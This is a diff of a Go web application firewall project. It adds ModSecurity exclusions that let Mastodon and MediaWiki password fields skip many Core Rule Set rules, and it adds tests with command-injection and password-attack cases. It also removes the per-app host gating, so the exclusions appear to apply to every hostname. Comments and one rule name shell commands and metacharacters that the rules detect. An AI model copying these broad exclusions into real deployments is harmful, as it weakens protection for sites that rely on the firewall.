ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
|
||||||
|
|
||||||
|
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
||||||
|
"id:900966,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
|
||||||
|
|
||||||
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
||||||
# report forwarded to another server lists that server in forward_to_domains.
|
# report forwarded to another server lists that server in forward_to_domains.
|
||||||
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
||||||
@@ -223,5 +295,3 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
|
|||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
|
||||||
|
|
||||||
SecMarker END_MASTODON
|
|
||||||
@@ -6,6 +6,7 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
"slices"
|
||||||
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
@@ -57,21 +58,7 @@ const (
|
|||||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon")
|
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
||||||
}
|
|
||||||
|
|
||||||
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {"mastodon"},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only Mastodon's fixes let through.
|
|
||||||
search := get("/api/v2/search?q=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
||||||
@@ -143,10 +130,6 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||||
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
|
||||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
|
||||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
|
||||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
|
||||||
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
||||||
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
||||||
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||||
@@ -159,6 +142,19 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
||||||
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
||||||
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
||||||
|
{http.MethodPost, mastodonSignUp, "reason="},
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonPasswordForms sends each password field in a form data body, on
|
||||||
|
// a path where it skips the four rules and the rules that random passwords
|
||||||
|
// set off.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mastodonPasswordForms = []mastodonBodyField{
|
||||||
|
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||||
|
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
||||||
{
|
{
|
||||||
http.MethodPost, "/settings/migration/redirect",
|
http.MethodPost, "/settings/migration/redirect",
|
||||||
@@ -166,7 +162,14 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
},
|
},
|
||||||
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
||||||
{http.MethodPost, mastodonSignUp, passwordField},
|
{http.MethodPost, mastodonSignUp, passwordField},
|
||||||
{http.MethodPost, mastodonSignUp, "reason="},
|
}
|
||||||
|
|
||||||
|
// mastodonPasswordJSON sends the password of signing up through the API in
|
||||||
|
// a JSON body, with %s for its value.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||||
|
var mastodonPasswordJSON = mastodonBodyField{
|
||||||
|
http.MethodPost, mastodonSignUp, `{"password":%s}`,
|
||||||
}
|
}
|
||||||
|
|
||||||
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
||||||
@@ -192,7 +195,6 @@ var mastodonJSONFields = []mastodonBodyField{
|
|||||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
||||||
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||||
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||||
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
|
|
||||||
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||||
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
||||||
@@ -301,6 +303,34 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestMastodonPasswordsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, sent := range mastodonPasswordForms {
|
||||||
|
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
r := request{sent.method, sent.target, []string{formData}}
|
||||||
|
name := strings.TrimSuffix(sent.field, "=")
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, name)
|
||||||
|
wantPasswordAttacksPass(t, r, name)
|
||||||
|
wantPasswordAttacksRefused(t, r, name)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Run("JSON", func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
|
||||||
|
[]string{jsonBody}}
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, "password")
|
||||||
|
wantPasswordAttacksPass(t, r, "password")
|
||||||
|
wantPasswordAttacksRefused(t, r, "password")
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -313,7 +343,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range mastodonFormFields {
|
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
|
||||||
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
||||||
t.Errorf("%v let through", sent)
|
t.Errorf("%v let through", sent)
|
||||||
}
|
}
|
||||||
@@ -324,7 +354,8 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
|||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range mastodonJSONFields {
|
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
|
||||||
|
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
|
||||||
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
||||||
t.Errorf("%v let through", sent)
|
t.Errorf("%v let through", sent)
|
||||||
}
|
}
|
||||||
@@ -344,6 +375,12 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("%s refused: %d", sent, score)
|
t.Errorf("%s refused: %d", sent, score)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
for _, sent := range mastodonPasswordForms {
|
||||||
|
if mastodonForm(t, sent, value) >= mastodonThreshold {
|
||||||
|
t.Errorf("%v with %s refused", sent, value)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
code := url.QueryEscape(mastodonCodePost)
|
code := url.QueryEscape(mastodonCodePost)
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
|
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
|
||||||
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
||||||
# sends a search, a title, a name, a file name, an address, a summary or a
|
# sends a search, a title, a name, a file name, an address, a summary or a
|
||||||
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
||||||
@@ -21,13 +21,6 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
|
|
||||||
# is skipped. Inspect sets tx.app_mediawiki when it does.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_mediawiki itself.
|
|
||||||
SecRule &TX:app_mediawiki "@eq 0" \
|
|
||||||
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
|
|
||||||
|
|
||||||
# The pages and their titles, the searches, and the special pages' fields
|
# The pages and their titles, the searches, and the special pages' fields
|
||||||
# for a page, a user, a file or an address:
|
# for a page, a user, a file or an address:
|
||||||
# title: /index.php?title=Python3_notes&action=history
|
# title: /index.php?title=Python3_notes&action=history
|
||||||
@@ -115,6 +108,86 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
||||||
|
|
||||||
|
# wpPassword, lgpassword and password skip each rule random passwords set off.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||||
|
"id:900917,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||||
|
SecRule &ARGS_GET:wpPassword "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
|
||||||
|
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
||||||
|
"id:900918,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/"
|
||||||
|
|
||||||
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
||||||
# or prependtext, and the REST API in the JSON field source. Each of these
|
# or prependtext, and the REST API in the JSON field source. Each of these
|
||||||
# rules refused saving or previewing a page whose wikitext held a template, a
|
# rules refused saving or previewing a page whose wikitext held a template, a
|
||||||
@@ -205,12 +278,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
||||||
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
||||||
# once, since it would otherwise skip these rules for a second wpTitles
|
# once, since it would otherwise skip these rules for a second wpTitles
|
||||||
# holding a command. It checks tx.app_mediawiki, since the skip above does not
|
# holding a command.
|
||||||
# reach phase 2.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||||
"id:900916,phase:2,pass,nolog,chain"
|
"id:900916,phase:2,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||||
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
|
||||||
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
||||||
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
||||||
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
||||||
@@ -219,5 +290,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
||||||
|
|
||||||
SecMarker END_MEDIAWIKI
|
|
||||||
@@ -3,17 +3,13 @@ package coreruleset_test
|
|||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
"slices"
|
||||||
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const mediawikiThreshold = 5
|
const mediawikiThreshold = 5
|
||||||
|
|
||||||
// mediawiki is MediaWiki's name in SWW_APPS.
|
|
||||||
const mediawiki = "mediawiki"
|
|
||||||
|
|
||||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||||
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
||||||
|
|
||||||
